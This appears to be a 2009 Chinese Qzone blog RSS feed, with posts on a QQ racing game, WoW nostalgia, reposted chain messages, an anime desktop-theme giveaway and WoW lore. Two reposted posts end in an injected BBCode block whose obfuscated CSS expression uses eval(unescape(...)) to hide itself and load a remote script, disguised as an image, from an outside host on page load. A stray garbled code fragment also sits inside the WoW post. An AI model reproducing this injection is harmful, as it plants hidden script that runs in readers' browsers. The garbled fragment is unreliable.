<![CDATA[Ｔoye▁[愼] ]]> ]]> http://447000898.qzone.qq.com Mon, 30 Nov 2009 20:13:39 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Wed, 28 Oct 2009 13:47:49 GMT <![CDATA[万圣节QQ音速记录]]> http://447000898.qzone.qq.com/blog/1256737669
角色昵称歷任
所属大区华中电信一区
角色等级19
游戏积分2,114,462
久别QQ音速，上线就送华丽YY，
很无理头的一个节日。什么盛装舞会，提南瓜脑袋去吓人！欺负小孩，嘿嘿。不过既然是游戏，在里面玩玩还是不错的 ，叫上朋友来赛一吧。

YY


大家一起抵达终点。不过对方好像不是很开心哦。给他们加下油。




队友N强大，。 PD99%吓到我了 。。。可惜没拍到~~~



给自己来个特写。难得哦 ，收藏的赶紧了 。~



PS：现在工作空闲的时间感觉都很难得了 。在休息的这时间里，才认识到游戏确实是很好的放松方式，（注意！不是在游戏里比谁厉害！比谁聪明。）感觉游戏是给傻子玩的，不过我就是喜欢玩。为什么？傻的时候可以完全的放松。这就是游戏里追求的！ <感觉说的都够傻，没关系，继续 傻ing>




]]> http://447000898.qzone.qq.com/blog/1256737669#comment 134218241 Wed, 28 Oct 2009 13:47:49 GMT http://447000898.qzone.qq.com/blog/1256737669 <![CDATA[转载：CCTV2专栏介绍芷江小吃]]> http://447000898.qzone.qq.com/blog/1256523451
------------------------------------------
本文转载自：□ .3Ｙ ，： CCTV2专栏介绍芷江小吃
用QQ邮箱阅读空间订阅□ .3Ｙ ，
什么是阅读空间?

]]> http://447000898.qzone.qq.com/blog/1256523451#comment 135270400 Mon, 26 Oct 2009 02:17:31 GMT http://447000898.qzone.qq.com/blog/1256523451 <![CDATA[“当‘燃烧的远征’结束时，你将会做的最后一件事”]]> http://447000898.qzone.qq.com/blog/1244093838

当‘燃烧的远征’结束时，你将会做的最后一件事”
还记得内测的号？
还记得第1个角色的名字？
还记得第1个加的好友叫什么？
还记得接到第1个副本任务不知道路？
还记得第1次出了件绿的色装备不知道怎么拿？
后来我放弃了！
………………
还记得TBC开始的时候？
还记得新输入的身份证号码？
还记得第1次感受了团队FB的杀怪？
还记得奥山里不听指挥的到处乱跑？
（PS 其实是不知道路）
还记得在JJC里询问什么组合最适合打？
还记得因为被某个世界无情的杀掉去删号？
最后又放弃了！
……………………
还记得末日的回响？
还记得再次面对WOW登陆界面？
还记得再次在游戏里面畅游练级？
还记得开始在意装备的属性和专业？
还记得……（迷糊了）
还记得组上一个操作很好的MS（托呢）喜欢叫托托他很喜欢五笔输入的··符号。
还记得去上一个很白的LR （死猪一样的你）确实够猪的 呵呵（玩笑）
还记得朋友LR（鸡儿夹快） 想想就好笑。69级，还有一点经验的时候去外域影月抓BB。（其实他的战场LR。专打69级的战场混装备的。）结果我也在影月做龙任务。组上了他。飞到他面前就干掉了一魔猪。看到他升级了。还GX了下他。
但后来他呆在那里。我可以想象他的表情。
后来他理所当然的去了奥山指挥。说实在的。指挥的还不错。。
……………………
（坐骑）
还记得因为没有拾取毛料丢拍卖没钱买30级？
还记得60的100G坐骑让你头痛？
还记得70的1000G骑术然后没200G买狮鹫？
还记得还记得坐上虚空龙在天上不肯下来？
END
最后> 24) & 0xff;&#13;&#10;&#9;return this.FONTMAP.substring(2*(id-1), 2 * id);&#13;&#10;}" color=#800080 size=4>“当‘燃烧的远征’结束时，你将会做的最后一件事”回忆




]]> http://447000898.qzone.qq.com/blog/1244093838#comment 142623233 Thu, 04 Jun 2009 05:37:18 GMT http://447000898.qzone.qq.com/blog/1244093838 <![CDATA[[转]我们的距离有多远?]]> http://447000898.qzone.qq.com/blog/1240460327
























































]]> http://447000898.qzone.qq.com/blog/1240460327#comment 9 Thu, 23 Apr 2009 04:18:47 GMT http://447000898.qzone.qq.com/blog/1240460327 <![CDATA[[转]四种血型的奇妙内心世界]]> http://447000898.qzone.qq.com/blog/1238061125 漫画中，A型血、B型血、AB型血和O型血分别是四个个性鲜明的小人。来找找属于你的小人吧！









开车的时候……






































































[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://447000898.qzone.qq.com/blog/1238061125#comment 135266825 Thu, 26 Mar 2009 09:52:05 GMT http://447000898.qzone.qq.com/blog/1238061125 <![CDATA[[转]最能打动漂亮美眉芳心10件事]]> http://447000898.qzone.qq.com/blog/1237809645 　　一、感动指数6.5
　　开始追mm的时候，她一直很犹豫，她警告偶说和她在一起很累的，偶说偶不怕。在偶的“死缠烂磨”下，mm终于答应做偶的gf.在一起之后有天晚上，我对她说你放心吧，我绝对不会耽误你的，要是你遇见更好的，我一定不会阻拦你。那天mm哭的很凶，偶和她的面巾纸都用完了，所以偶只能吻干她脸上的泪水：p
　　二、感动指数7
　　和mm在一起后第一次分别，那是偶回家。有天晚上偶发短信让她一起上网，其实偶已经回学校了，刚到网吧门口看见她的时候她还给我发短信说，要是我再不来她就生气了，偶站在她身后说，别呀，我这不来看你了啊~~那天到现在已经两年半了，偶还清楚的记得那天她在偶怀里高兴的样子。
　　三、感动指数7.5
　　有一次寒假的时候和mm闹别扭，她很生气，也很伤心。但是我们不在一个城市，所以不太好哄她，所以偶决定去看她。到了之后发短信说一起吃饭吧，她问，时间上的一起么。我说，不仅仅时间上的一起，还有空间上的一起~~mm狂奔而来，那天我们都很开心。
　　四、感动指数8
　　那天早晨偶给mm买了早饭送过去，她下来时穿着偶送给她的那件我以前穿的mickey的t-shirt，当时感觉特别好。然后她回去吃饭，偶就去 “杀人”了。没一会mm给偶打电话，却开始哭。偶当时就蒙了，原来是她肚子疼，偶开始疯狂的找医生，拿药，等到下午又去给她买了热水袋和厚袜子，闯过宿管科大哈哈看守，到她宿舍去看她。
　　五、感动指数8.5
　　有一次天黑了mm说想吃草莓，于是偶赶紧的跑到学校附近的市场去找，但是已经没有好的了，于是偶到超市给她买了盒草莓果汁。到第二天早晨六点的时候就去早市给她买了些很新鲜的，然后回来一个一个的洗干净，经过和宿舍哥们的浴血拼搏，保护着草莓送到mm那里，她说她真没想到我一个一个都给她洗了~~ 六、感动指数8.5
　　还有一次是去mm家。上午去了后就开始帮她干活收拾屋子，然后中午帮她做饭，吃了之后自然是去洗碗了，呵呵。陪着她看了会电视给她捏了捏肩膀，没一会她在我怀里睡着了。她醒来之后说，这样真好。
　　更多精彩的……
　　七、感动指数9
　　有那么一两月mm去跳健美操，一周三次，于是偶开始骑40分钟车子去送她，再骑40分钟回学校歇一个小时，然后再骑40分钟车子去接她，再骑40 分钟把她带回来。有一次偶送了她正往回走，她打电话说来接她吧，她今儿不跳了，偶晕~~呵呵，不过每次感觉都很好。这两个月真是风雨无阻，有两次雨很大，偶差不多是游着去接她的。而且她经常跳的腿疼，于是每次接她回来都要给她捏一会儿腿~~~~~可她却说偶是占她便宜。
　　八、感动指数9
　　mm要做治疗近视的手术，她有一些害怕。偶安慰她说，不要怕呀，要是真的手术失败了，偶就带着你去深山老林，一辈子都在一起~~~当时mm笑着说一定要手术成功，呵呵。其实到现在我还是这么想，不管她怎么样，偶都希望能和她在一起。
　　九、感动指数9.5
　　mm想买身新的睡衣，她那天正好没时间，于是偶开始一个人逛街。先买了一身，太大了，换，后来样式不好看，换，然后偶开始更为艰苦的跋涉，骑车子转了多半天，最后给她买了身特别可爱的snoopy的睡衣。我知道她特别喜欢那身睡衣，到现在也是。
　　十、感动指数10
　　和mm在一起两年五个月后，mm说我们不太合适。答应她分手。最后对她说，照顾好自己，有什么需要我帮助的尽管说，要是觉得累了倦了或者还是觉得我对你好，你就回来，我等着你宝贝，不过还是祝你幸福。然后又一次看见她的泪水。
　　我看到一个奇怪的现象，就是看我贴子并且回贴的一部分人，都在不久后做成了如下事情：
　　1、恋爱成功了；
　　2、生意谈成了；
　　3、升官发财了；
　　4、心情舒畅了；
　　5、家庭和睦了；
　　6、身体健康了；
　　7、万事顺意了[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://447000898.qzone.qq.com/blog/1237809645#comment 134219272 Mon, 23 Mar 2009 12:00:45 GMT http://447000898.qzone.qq.com/blog/1237809645 <![CDATA[Fw:动漫东东二周年庆萌化大礼包发布]]> http://447000898.qzone.qq.com/blog/1235300564

------------------ Original ------------------
From: "NHKにようこそ同好会"<10091368@groupmail.qq.com>;
Date: Sat, Feb 21, 2009 03:17 PM
To: "NHKにようこそ同好会"<447000898@qq.com>;

Subject: Fw:动漫东东二周年庆萌化大礼包发布，欢迎转载


黑白貓～ 在 2009年2月21日(星期六) 下午3:17 说：
动漫东东
http://bbs.comicdd.com/?fromuid=98319


黑白貓～ 在 2009年2月21日(星期六) 下午3:03 说：
《动漫东东二周年庆萌化大礼包》——08.02.01到09.02.01的精品萌化作品集合


[东东感言]
愉快的春节刚刚过去，动漫东东(http://www.comicdd.com)的二周岁生日就要来临了，这就是温馨浪漫的2009年2月14日。动漫东东现在已发展成为最大的中文系统和软件萌化基地。没有原创作者们的无偿奉献和广大萌友的鼎力支持，就没有动漫东东的今天。动漫东东最大的价值，并不在于站点本身，而在于通过这里团结起来的各位。大家互相认识，交流体会，共同进步，才创造出了如此丰富多彩的东东。
去年我们发布的《动漫东东周年庆萌化大礼包》(http://bbs.comicdd.com/thread-8685-1-1.html)得到了很多朋友的喜爱，同时也得到了一些意见反馈，相信不少人到现在还把它存在电脑里或早已刻碟收藏。无论对于萌化作者、礼包组成员还是广大萌友，一周年的萌化大礼包都是一份珍贵的回忆。
在这第二年里，动漫东东迎来了更多的萌友，大家也分享了更多的原创萌化精品。“动漫东东二周年庆萌化大礼包工作组”于1月3日建立，经过1个月的辛苦整理和协作，将这份珍贵而崭新的萌化礼物奉献了出来。
对于这份沉甸甸的礼包，我们要感谢的人有很多。感谢一直以来各位萌化作者的奉献和分享，感谢原创壁纸活动中各位绘图和PS作者的参与，感谢礼包组的各小组组长和成员一个月来的辛劳，感谢sai大人为方便和规范礼包的整理流程而做的技术支持，感谢《动画基地》杂志对萌化领域的看重和对动漫东东这次礼包工作的信任，最后当然要感谢所有萌友对萌化的关注和喜爱，你们的期待就是这份大礼包诞生的最强动力！

[关于本次大礼包]
《动漫东东二周年庆萌化大礼包》自2009年01月03日开始整理，至2009年02月01日结束，共整理萌化物858件，动漫壁纸1001张，原创壁纸70张，涉及分类15项，总体积约4.2G，是去年的近3倍。本次大礼包以DVD-iso模式发布。希望这个精心制作的大礼包能让大家喜欢，也希望它值得各位萌友永久收藏。
网媒发布：动漫东东http://bbs.comicdd.com/thread-26821-1-1.html
平媒发布：由《动画基地》杂志新年刊独家发布，作为附赠DVD光盘
[礼包组制作成员名单]A.桌面主题：血色银狼(负责) 岁半 叛逆の亡灵(fatefan) kjy000
B.登录界面：叛逆の亡灵(fatefan)(负责) kjy000
C.光标指针：直枝理樹(负责)
D.图标：Meteor67(负责)
E.屏幕保护：qq234678914(负责) 月下流丽
F.右键：gy8353411(负责)
G.壁纸：ATbear(负责) 直枝理樹 x小天狼星x heling007
H.原创壁纸：影姬(负责)
I.软件皮肤：后街男孩(负责)
J.桌面精灵：yxydd88(负责)
K.手机铃声：阿修罗_ashura(负责) pd7100669
L.工具&其他类：gy8353411(负责) 月下流丽 windfroce
M.动漫表情：粉红的墙(负责) 叛逆姬
N.掌机萌化：tunixuxy(负责)
O.手机主题：tunixuxy(负责) 66936619
P.萌化手册：名雪(负责) tunixuxy dtsola
技术负责人：sai
执行负责人：影火虫
[大礼包部分界面预览](点击图片看大图)
1.光盘首页


2.光盘目录结构


3.文件属性


4.盘符预览


5.关于及制作名单


6.搜索功能


7.萌化物列表浏览


8.萌化物信息浏览页面


9.动漫壁纸目录


10.动漫壁纸列表浏览


11.动漫壁纸查看


12.原创壁纸目录


13.原创壁纸作者信息作品浏览




[声明及使用协议]《动漫东东二周年庆萌化大礼包》(下文简称"大礼包")是动漫东东(comicdd.com)为庆祝其成立二周年而发布的萌化作品, 动漫壁纸等数据资料的合集
[说明]
本《动漫东东二周年庆萌化大礼包声明及协议》(下文简称"协议"),是由大礼包下载者,使用者,储存者,非官方传播者,复制者(下文简称"用户")与动漫东东的相关权利责任及义务规范,本协议对用户和动漫东东均具有法律效力,请认真阅读并认真履行其中的相关规定

[须知]
在您使用大礼包前请确实仔细阅读本协议（未成年人审阅时应得到法定监护人的陪同）,如果您对本协议的任何条款及/或将来随时修改、补充的条款有异议,您可以与选择不使用大礼包,当您使用,存储,复制,传播本大礼包时即视为您已仔细阅读本协议,同意接受本协议的所有规范包括接受动漫东东对协议随时所做的任何修改,并愿受其拘束

本协议可由动漫东东随时更新,且毋须另行通知。协议一旦发生变更,动漫东东将在网页上公布修改内容。修改后的服务一旦在网页上公布即有效代替原来的协议。您可随时登陆http://bbs.comicdd.com/thread-26821-1-1.html阅最新版协议。用户如果不同意修改后的本协议的任何条款，可以主动删除同大礼包相关的全部文件;如果用户继续选择使用,存储,复制,传播大礼包,则视为用户已经完全接受本协议及其修改、补充、变更

[大礼包]
动漫东东有权对大礼包及其发布信息随时进行修改,变更,停止下载服务而不另行通知用户;动漫东东有权随时变更大礼包的相关服务措施,例如:下载收费,停止下载等

[大礼包使用]
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动漫东东及其合作站点,合作媒体以外的任何组织,个人不可以使用大礼包以及其中的数据进行任何商业活动

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[安全]
本大礼包经过瑞星杀毒软件2009版(21.14.61.00)反病毒查杀,并确认无毒
下载时动漫东东会提供大礼包的MD5 32位校验码,并提供校验软件,用户需自行确定其安全性,确认同官方提供的校验码无误后方可使用,存储. 否则因此对用户造成的任何的损失,动漫东东并不对其负责

[数据资料]
未获得使用权的情况下,用户不得私自散播,转载,复制,编辑,改动大礼包及大礼包内的的任何资料,用户只能在动漫东东授予用户使用权的情况下才能使用这些内容,不能擅自复制,再造这些内容,或创造与内容有关的派生产品,否则视情节轻重,动漫东东将追求其责任,同时,动漫东东保留对其法律责任追究的权利

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[《动漫东东二周年庆萌化大礼包》下载及使用方式][BT]贪婪极影发布帐号：动漫东东，可以去bt站搜索"动漫东东"
种子下载：http://bt.ktxp.com/html/2009/0213/115783.html
(为了保证下载速度，请尽量别用迅雷下载，BT电驴软件现在都有踢迅雷功能)
**下载完成的各位,请自觉发扬BT精神,分流30分钟!谢谢~**

[电驴]verycd发布帐号：boxfox
发布页：http://www.verycd.com/topics/2730787/eMule专用下载链接，您必须安装eMule才能点击下载

动漫东东二周年庆萌化大礼包.part1.rar953.67 MB动漫东东二周年庆萌化大礼包.part2.rar953.67 MB动漫东东二周年庆萌化大礼包.part3.rar953.67 MB动漫东东二周年庆萌化大礼包.part4.rar953.67 MB动漫东东二周年庆萌化大礼包.part5.rar417.78 MB全选4.13 GB(为了保证下载速度，请尽量别用迅雷下载，BT电驴软件现在都有踢迅雷功能)

[网盘下载]
纳米盘:
part1http://www.namipan.com/d/ce595caebf91d1d357a6792397c692fe4e0c315300ca9a3b
part2http://www.namipan.com/d/76e4a9c6ea2732bdd223a4e78720da9479ca45e200ca9a3b
part3http://www.namipan.com/d/75458b26382ecf2729308b4fa1d9302cec75ef1e00ca9a3b
part4http://www.namipan.com/d/164cfddef2facb0d490215e0119471ff38ca024600ca9a3b
part5http://www.namipan.com/d/487f7012277dfb27eae2d3004680d75140cece034b691c1a
Rayfile:
part1http://www.rayfile.com/zh-cn/files/51354c97-f422-11dd-a985-0014221b798a/
part2http://www.rayfile.com/zh-cn/files/31b6110a-f433-11dd-a42a-0014221b798a/
part3http://www.rayfile.com/zh-cn/files/1cee74cf-f44f-11dd-9482-0014221b798a/
part4http://www.rayfile.com/zh-cn/files/1d2bf2c2-f463-11dd-a2d5-0014221b798a/
part5http://www.rayfile.com/zh-cn/files/649639f5-f465-11dd-9ca2-0014221b798a/

[http]感谢动漫大家族友情提供http下载地址，使用迅雷无法下载，请使用其他下载软件。
http://photo.dmdjz.com.cn/其它/动漫东东二周年庆萌化大礼包.part1.rar

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http://photo.dmdjz.com.cn/其它/动漫东东二周年庆萌化大礼包.part5.rar
复制代码
附上二周年大礼包盘面，预览见顶部光盘图(有光雕刻录条件的朋友可以刻录时使用)
动漫东东二周年庆萌化大礼包盘面.rar(1.9 MB)下载次数: 81
4 天前 15:26



注：
1. 我们网上发布提供的是分卷文件，解压成为iso文件才能使用。因为iso文件大于4G，而FAT32格式的磁盘分区无法保存大于4G的文件，所以解压前先确保所在磁盘分区为NTFS格式并留出至少4.2G的空间。
查看方法(以D盘为例)：右击D盘-属性-文件系统，这里可以看到当前磁盘分区的格式。
无需格式化，不影响现有文件，将FAT32格式转换为NTFS格式的方法http://bbs.comicdd.com/thread-28426-1-1.html

2. 为防止大礼包文件被人恶意替换，解压前请先使用“动漫东东二周年庆萌化大礼包MD5校验器”对分卷文件进行校验，md5值无误后再解压。
动漫东东二周年庆萌化大礼包MD5校验器：comicdd_md5.rar(204.94 KB)下载次数: 44
2009-2-6 12:40


官方文件网络发布方式的md5值：
part1的md5值：d88d3509a978e08e808adcdb41acc60c
part2的md5值：99a824149000b2d3f3ccf97e5b11a4d3
part3的md5值：2ae86e473def0135f6cc99661d0be835
part4的md5值：162806fe108016050a83600f95eb69c9
part5的md5值：cfa364166180c39ec74df62e057ae891
解压后完整iso的md5值：cff9a91757cf7d39d7830a49848d2b89
如果您得到的文件与以上md5值不符，请勿使用，说明文件已被恶意更改！
《动画基地》在发行的DVD光盘中加入了动画基地标识，若您购买后将光盘重制成iso，则该iso的md5值会不同。


3. ISO是光盘镜像文件，使用daemon tools(虚拟光驱)打开，教程及下载：http://bbs.comicdd.com/thread-28238-1-1.html
若不会使用daemon tools，可以使用winrar3.8打开，下载地址：http://www.crsky.com/soft/152.html注意，winrar3.7前的版本对unicode兼容性不好，打开大礼包会出现乱码，winrar3.8已经修复此bug。

4. ISO文件刻录为光盘方法：以Nero Burning ROM软件为例，主界面->备份->(最后一项)将镜像刻录到光盘->选择iso文件->刻录
[《动漫东东二周年庆萌化大礼包》购买方式]
本次大礼包文件较大约4.2G，若不方便下载和刻录，有其他的获取方式么？当然有！
作为本次东东大礼包唯一平面媒体发布方：国内著名动漫杂志《动画基地》，将在新年刊中附赠东东二周年大礼包的DVD光盘！




动基DVD版17块一本，对东东会员只要9折！就是15.3元！
平邮不加价，就是汇款15.3元。汇款单上务必写明以下内容：邮编：100086
地址：北京市海淀区知春路113号银网中心A12层
收款人：动画基地发行部
书名：动画基地
期刊号： 09年第三期 DVD版
数量：1
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]]> http://447000898.qzone.qq.com/blog/1235300564#comment 135266305 Sun, 22 Feb 2009 11:02:44 GMT http://447000898.qzone.qq.com/blog/1235300564 <![CDATA[[转]Flash小游戏在线玩 冰封的海盗]]> http://447000898.qzone.qq.com/blog/1233321673
解救冰封的海盗，用鼠标画线划破封住海盗的冰块，让冰块掉落到海盗船上，非常有挑战性，需要你开动脑筋才能过关哦！~
]]> http://447000898.qzone.qq.com/blog/1233321673#comment 134222856 Fri, 30 Jan 2009 13:21:13 GMT http://447000898.qzone.qq.com/blog/1233321673 <![CDATA[[转]第一章 神话]]> http://447000898.qzone.qq.com/blog/1233321496 　　没人知道宇宙到底是怎么样诞生的。有些人认为，一次宇宙大爆炸把无数个世界交织起来，形成一个巨大的黑暗，在那里将会孕育许多各种各样令人惊奇的可怕的生命形式。还有一些人认为，宇宙是由一个具有无穷力量的实体独自创造出来的。尽管仍然无法确定这个混乱的宇宙是从哪里来的，但是有一点是毋庸质疑的，那就是一个强有力的种族会给这个纷繁的世界带来稳定，并能给那些追随他们的种族带来安全与和平。
　　泰坦，一群来自宇宙深处的神，他们身材巨大，披着金属的外壳。他们探索新生的世界，并对遇到的世界进行改造。泰坦们建造出高耸的群山，挖掘出宽广的海洋，用他们的方式创造世界。他们呼出的气体形成了天空，怒气变成了大气层。这只不过是他们建造世界新秩序的宏伟计划中的一部分。泰坦们授权给原始布族，让他们从事工作，并维持着每个世界的完整。
　　在创造世界的第一年里，在一群被称做Pantheon的顶尖宗派的指示下，泰坦们把秩序带给了成千上万个分布在宇宙中的世界。这些仁慈的Pantheon一直寻求着保卫这些世界的方法，他们同样还警惕着来自卑鄙的异次空间下方的的威胁。下方的具有一种虚幻神秘的混乱魔法，联系着宇宙中无数的世界，它是数以万记恶魔的巢穴。这些恶魔不仅妄图摧残生命而且还吞食宇宙中生命的能量。面对无法想象的各种类型的罪恶与邪灵，泰坦们设法想找出一种永久消除恶魔威胁的方法。
　　萨格拉斯的背叛
　　一直以来，恶魔们都打算从回旋的下方的空间进入泰坦们的世界。Pantheon推选Sargeras,他们最伟大的战士，担任第一道抵抗的防线。Sargeras,是一个由青铜铸成的巨人。无数年来，他一直勇敢的承担着守卫的责任，这些恶魔无论在哪里他都能找到他们并将他们摧毁。在这些年中，Sargeras,遇上了两个强大的魔族，这些魔族主宰着物质世界，并从那获取力量。Eredar，就是其中一个阴险的魔族，他们的男巫师利用术士魔法侵略和奴役许多的世界。原本生活在那些世界的种族在Eredar的邪恶能力之下也堕落成了魔鬼。虽然Sargeras无穷的力量足以打败卑鄙的Eredar，但他一直被人的堕落和各种弊病所困扰。对于这种堕落的无能为力，伟大的泰坦也陷入了长期的沮丧。即使这种不安在逐渐加剧，Sargeras依然把宇宙中的男巫赶入了下方的的角落里。
　　在Sargeras的痛苦与迷茫变得越来越深的同时, 他正被迫同另一个以颠覆泰坦所建立的世界秩序为目的的组织Nathrezim进行斗争。这个黑暗种族vampiric，也被人称为恐惧魔王，征服了许多人口众多的世界，他们控制了当地的居民，并把他们变成了阴影。邪恶狡猾的恐惧魔王们操控着所有的国家，并使他们互相敌视憎恨。Sargeras虽然轻易的就能击败Nathrezim，但是那些国家人民的堕落深深的影响着他。慢慢的，Sargeras的心中充满了猜疑和绝望，他不仅对自己的任务失去了信念，而且怀疑起泰坦的世界观来。最后，他逐渐开始相信，世界秩序的概念本身就是愚蠢，而混乱和堕落才是这个黑暗孤寂的宇宙的唯一和全部。他的泰坦同伴们想法设法要说服他，纠正他的错误，平息他愤怒的情绪，但是他们并没有注意到他们乐观的想法只是一种错觉。可怕的事终于发生了， Sargeras决定出发去寻找自己在宇宙中的位置。虽然Pantheon对于Sargeras的离去非常悲伤，但他们永远猜不到他们的兄弟Sargeras将会走的多远。
　　Sargeras变的愈加的疯狂，等到他精神世界中最后的一点勇猛也消耗待尽时，他相信泰坦们对于创造世界的失败是有责任的。他于是决定要破坏泰坦在宇宙中的工作，他下决心建立起一只永不停息的军队，把燃烧的火焰拨撒到全宇宙。
　　Sargeras的泰坦身躯由于堕落而扭曲，他曾经无比高尚的心已经受到了侵蚀，他的眼睛头发还有胡须都喷发出火焰。从他青铜的皮肤下透出的是无尽的憎恶
　　狂怒之下，Sargeras 摧毁了监禁eredar 和 Nathrezim的牢笼，这些讨厌的恶魔们都获得了自由。这些狡猾的恶魔在这个愤怒的黑暗泰坦前卑躬屈膝，发誓向他效忠，无论什么事他们都会听从他。他从强大的eredar族中挑选了两名首领管理他的恶魔军队。其中一位欺骗者Kil‘jaeden‘s被派去寻找宇宙中的黑暗种族，并把他们拉拢到Sargeras的军队中来。第二位污染者Archimonde被指派去领导Sargeras最庞大的军队，消灭任何违反Sargeras意志的人。
　　Kil‘jaeden的第一步就是用他可怕的力量驱使vampiric的恐惧魔王为他服务。恐惧魔王不但是在全宇宙的私人代理，他们还乐此不疲的搜寻那些原始的部落，好让他们的主人去污染他们。恐惧魔王中首屈一指的就要属暗黑者Tichondrius了，他是最完美的战士，并且发誓要把Sargeras的燃烧意志带到宇宙中每一个黑暗的角落
　　势力强大的Archimonde同样授权给他自己的代理。依靠着煞星地穴领主和他们野蛮的领导者，毁灭者Mannoroth，Archimonde希望建立起一支能够摧毁一切生命形式的精英的战斗队伍。
　　当Sargeras看见自己庞大的军队集结在一起，并时刻等待服从他的命令时，他向浩瀚的宇宙发射出愤怒的力量。他把自己日益壮大的军队命名为燃烧军团。此刻，还不知道宇宙中要有多少的世界将在这次十字军东征中灭亡。
　　Old Gods和 Azeroth的新秩序
　　泰坦们完全没有意识到Sargeras正要去破坏他们的工作，他们依然从一个世界到另一个世界，遇上合适的星球他们就对它进行改造并在那里建立新的秩序。在旅途中，他们遇上了一个小星球，那里的居民后来被称做Azeroth。在泰坦们穿越原始风景的时候，他们碰上了一群不太友好的原始生物，这些原始生物膜拜一群被叫做古老上帝的邪灵，他们发誓要把泰坦们赶回去，保持他们神圣的土地免受入侵者的亵渎。
　　Pantheon在一直受到来自Old Gods的不怀好意的扰乱后，开始向这些原始生物以及他们的黑暗主人宣战。Old Gods的军队由四个最强大的军官组成，火之魔王Ragnaros，石母Therazane，风魔王和潮汐猎手Neptulon，他们的混乱力量掠过世界的表面与泰坦发生冲突。尽管他们联合起来的力量已经超乎常人的想象，但依然不能阻挡强大的泰坦的步伐。他们一个个接连倒下，力量也被一一驱散。
　　Pantheon摧毁了Old Gods的根据地，并把五个邪神锁在地表以下的深处。失去了Old Gods能力的帮助，四个魔王愤怒的灵魂也无法跃进到物质世界，他们被流放到深渊里，在那里他们会永久的互相争斗。随着魔王的离去，大自然逐渐平静下来，世界恢复一片祥和。泰坦们见到威胁暂时消除而又继续开始工作。
　　泰坦们授权给一些种族以帮助他们建立世界的新面貌。泰坦为了开掘地底下深不可测的洞穴，用有生命的魔法石造出了侏儒样的土人。为了开凿出海洋并把河床抬升成为陆地，泰坦创造除了身材硕大而又温和的海巨人。许多年过去了，泰坦们移动和改造着土地，直至最后形成一个完整的大陆。在大陆的中心，泰坦建了一个拥有源源不断的湖。这个湖被人称为永恒之井，它是世界上所有生命的源泉。它强有力的能量培育着世界，并使所有的生命能够在富饶的土地上生根成长。植物，树木，怪物，各种生物在这片原始大陆上繁衍成长。当黎明的最后的曙光撒在这片土地上时，泰坦把这片大陆命名为Kalimdor，意思是拥有永恒星光的陆地。
　　飞龙的职责
　　泰坦们对自己在这个小小的世界里所建立的秩序以及他们完成的工作感到非常满意，因此他们准备离开Azeroth。然而，在他们准备离开前，他们赋予大陆上最优秀的物种以守卫Kalimdor大陆的任务，惟恐任何力量威胁这完美的宁静。那个时候，有许多的飞龙。然而其中五条飞龙具有管辖其他飞龙的权利。这五条飞龙是由泰坦选出来管理这个刚刚萌芽的世界的。Pantheon中最伟大的成员把一部分力量注入到了这五条飞龙领袖的体内。这些宏伟的龙就是知名的伟大的样子也叫做龙样子。
　　Aman‘Thul作为Pantheon的首领，把他的力量赐予给厚重的青铜龙Nozdormu。 Aman‘Thul授予Nozdormu保卫自己和掌控命运的能力。可敬的Nozdormu于是也成为知名的永恒的一个。
　　Eonar是泰坦的赞助人，她把一部分力量给了红色的海中怪兽Alexstrasza。后来，Alexstrasza成为了知名的生命-装订工，并且负责保卫着世界上活着的生物。由于她的至高智慧和对生命的无限同情心，她被冠以龙之女王，并管辖她的族群。
　　Alexstrasza最年幼的妹妹，温柔的绿龙Ysera幸运的得到了Eonar一部分自然的力量。Ysera陷入了永久的沉睡，进入了梦的世界。她是有名的做梦人，她管理着她翠绿色的疆域--翡翠梦世界，上的所有生物。
　　Norgannon,泰坦的学问监护人兼主魔法师，赐予了蓝龙Malygos无穷的力量，自此，他Malygos成为了有名的符咒-织工,负责守卫隐藏的秘密与魔法。
　　Khaz‘goroth,作为建造和构建世界的泰坦，把自己的一部分力量给予了黑色巨大的Neltharion，他就是后来的地球-看守，他统辖着地上低下的世界。他具有世界上的力量，并且是Alexstrasza‘最有力的支持者。
　　就这样，五条巨龙负责在泰坦们不在的时候保卫新世界的安全。有五条巨龙时刻准备着捍卫泰坦创造的结晶，泰坦们也就把Azeroth抛在了脑后，永远的忘记了。不幸的是，对于Sargeras来说，知道这个新生世界的存在只不过是个时间的问题。
　　觉醒的世界和永恒之井
　　在兽族与人族进行第一场战争前的一万年，Azeroth只不过是一片宽广的大陆，一望无际的大海包围着这片大陆。那块被称为Kalimdor的大陆成为了不同种族生活聚居的乐土，各个种族为了生存在这片即将觉醒的世界上互相野蛮地争夺厮杀。在大陆的中心有一片充满神秘力量的湖，它就是永恒之井，它也是世界上一切魔法和自然力量的真正的源泉。永恒之井从无限的宇宙吸取力量，并将这能量有力地传送到世界的各个角落，供生命滋养生长。
　　一次，一个习惯在夜间活动的原始部落来到了这有催眠魔法的湖边。这个种族勇猛顽强，以游牧为生。他们依靠井中的奇特力量，在安静的岸边建起了自己的家园。一直以来，井中的神秘力量影响着整个部落，使他们变的强壮，聪明，甚至不朽。这个部落取名Kaldorei，在他们的土语中意为“星之子”，为了庆祝部落的刚刚建成，他们在湖的外围建造了大型的建筑和神庙。
